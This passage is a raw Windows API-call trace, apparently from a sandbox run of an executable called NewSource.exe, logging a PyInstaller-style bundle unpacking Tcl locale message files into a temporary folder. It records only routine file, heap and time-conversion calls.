lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.377] GetFileType (hFile=0x10c) returned 0x1 [0037.377] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.377] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.377] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.377] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.377] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.377] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.377] CloseHandle (hObject=0x10c) returned 1 [0037.377] GetLastError () returned 0x0 [0037.377] SetLastError (dwErrCode=0x0) [0037.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_be.msg") returned 64 [0037.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fr_be.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.377] GetLastError () returned 0x2 [0037.377] SetLastError (dwErrCode=0x2) [0037.377] GetLastError () returned 0x2 [0037.377] SetLastError (dwErrCode=0x2) [0037.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_be.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_be.msg", lpFilePart=0x0) returned 0x3f [0037.377] GetLastError () returned 0x2 [0037.378] SetLastError (dwErrCode=0x2) [0037.378] GetLastError () returned 0x2 [0037.378] SetLastError (dwErrCode=0x2) [0037.378] GetLastError () returned 0x2 [0037.378] SetLastError (dwErrCode=0x2) [0037.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_be.msg") returned 64 [0037.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.378] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fr_be.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.378] GetFileType (hFile=0x10c) returned 0x1 [0037.378] htonl (hostlong=0x17010000) returned 0x117 [0037.378] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.378] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.379] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.379] CloseHandle (hObject=0x10c) returned 1 [0037.380] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.380] htonl (hostlong=0x30000000) returned 0x30 [0037.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.380] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.380] GetFileType (hFile=0x10c) returned 0x1 [0037.380] htonl (hostlong=0x28635700) returned 0x576328 [0037.380] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c1328, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.381] htonl (hostlong=0x9f000000) returned 0x9f [0037.381] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.381] htonl (hostlong=0x9f000000) returned 0x9f [0037.381] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.381] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.381] htonl (hostlong=0x17010000) returned 0x117 [0037.381] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.381] htonl (hostlong=0x9f000000) returned 0x9f [0037.381] htonl (hostlong=0x17010000) returned 0x117 [0037.381] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.381] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.381] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.381] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.381] CloseHandle (hObject=0x10c) returned 1 [0037.381] GetLastError () returned 0x0 [0037.381] SetLastError (dwErrCode=0x0) [0037.381] GetLastError () returned 0x0 [0037.381] SetLastError (dwErrCode=0x0) [0037.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.381] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.381] GetFileType (hFile=0x10c) returned 0x1 [0037.381] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.381] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.381] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.381] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.381] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.382] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.382] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.382] CloseHandle (hObject=0x10c) returned 1 [0037.382] GetLastError () returned 0x0 [0037.382] SetLastError (dwErrCode=0x0) [0037.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.382] GetFileType (hFile=0x10c) returned 0x1 [0037.382] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.382] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.382] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.382] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.382] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.382] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.382] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.382] CloseHandle (hObject=0x10c) returned 1 [0037.382] GetLastError () returned 0x0 [0037.382] SetLastError (dwErrCode=0x0) [0037.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ca.msg") returned 64 [0037.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ca.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fr_ca.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.383] GetLastError () returned 0x2 [0037.383] SetLastError (dwErrCode=0x2) [0037.383] GetLastError () returned 0x2 [0037.383] SetLastError (dwErrCode=0x2) [0037.383] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ca.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ca.msg", lpFilePart=0x0) returned 0x3f [0037.383] GetLastError () returned 0x2 [0037.383] SetLastError (dwErrCode=0x2) [0037.383] GetLastError () returned 0x2 [0037.383] SetLastError (dwErrCode=0x2) [0037.383] GetLastError () returned 0x2 [0037.383] SetLastError (dwErrCode=0x2) [0037.383] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ca.msg") returned 64 [0037.383] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ca.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fr_ca.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.383] GetFileType (hFile=0x10c) returned 0x1 [0037.383] htonl (hostlong=0x17010000) returned 0x117 [0037.383] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.383] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.384] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.384] CloseHandle (hObject=0x10c) returned 1 [0037.385] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.385] htonl (hostlong=0x30000000) returned 0x30 [0037.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.385] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.385] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.385] GetFileType (hFile=0x10c) returned 0x1 [0037.385] htonl (hostlong=0xc7635700) returned 0x5763c7 [0037.385] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c13c7, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.385] htonl (hostlong=0xa0000000) returned 0xa0 [0037.385] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0037.385] htonl (hostlong=0xa0000000) returned 0xa0 [0037.385] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.385] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.385] htonl (hostlong=0x19010000) returned 0x119 [0037.386] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x119) returned 0x550600 [0037.386] htonl (hostlong=0xa0000000) returned 0xa0 [0037.386] htonl (hostlong=0x19010000) returned 0x119 [0037.386] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.386] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.386] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.386] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.386] CloseHandle (hObject=0x10c) returned 1 [0037.386] GetLastError () returned 0x0 [0037.386] SetLastError (dwErrCode=0x0) [0037.386] GetLastError () returned 0x0 [0037.386] SetLastError (dwErrCode=0x0) [0037.386] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.386] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.386] GetFileType (hFile=0x10c) returned 0x1 [0037.386] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.386] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.386] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.386] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.386] CloseHandle (hObject=0x10c) returned 1 [0037.386] GetLastError () returned 0x0 [0037.387] SetLastError (dwErrCode=0x0) [0037.387] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.387] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.387] GetFileType (hFile=0x10c) returned 0x1 [0037.387] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.387] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.387] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.387] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.387] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.387] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.387] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.387] CloseHandle (hObject=0x10c) returned 1 [0037.387] GetLastError () returned 0x0 [0037.387] SetLastError (dwErrCode=0x0) [0037.387] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ch.msg") returned 64 [0037.387] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ch.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fr_ch.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.387] GetLastError () returned 0x2 [0037.387] SetLastError (dwErrCode=0x2) [0037.387] GetLastError () returned 0x2 [0037.387] SetLastError (dwErrCode=0x2) [0037.387] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ch.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ch.msg", lpFilePart=0x0) returned 0x3f [0037.387] GetLastError () returned 0x2 [0037.387] SetLastError (dwErrCode=0x2) [0037.387] GetLastError () returned 0x2 [0037.388] SetLastError (dwErrCode=0x2) [0037.388] GetLastError () returned 0x2 [0037.388] SetLastError (dwErrCode=0x2) [0037.388] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ch.msg") returned 64 [0037.388] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.388] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\fr_ch.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\fr_ch.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.388] GetFileType (hFile=0x10c) returned 0x1 [0037.388] htonl (hostlong=0x19010000) returned 0x119 [0037.388] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.388] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x119, lpOverlapped=0x0) returned 1 [0037.394] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.394] CloseHandle (hObject=0x10c) returned 1 [0037.395] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.395] htonl (hostlong=0x30000000) returned 0x30 [0037.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.395] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.395] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.395] GetFileType (hFile=0x10c) returned 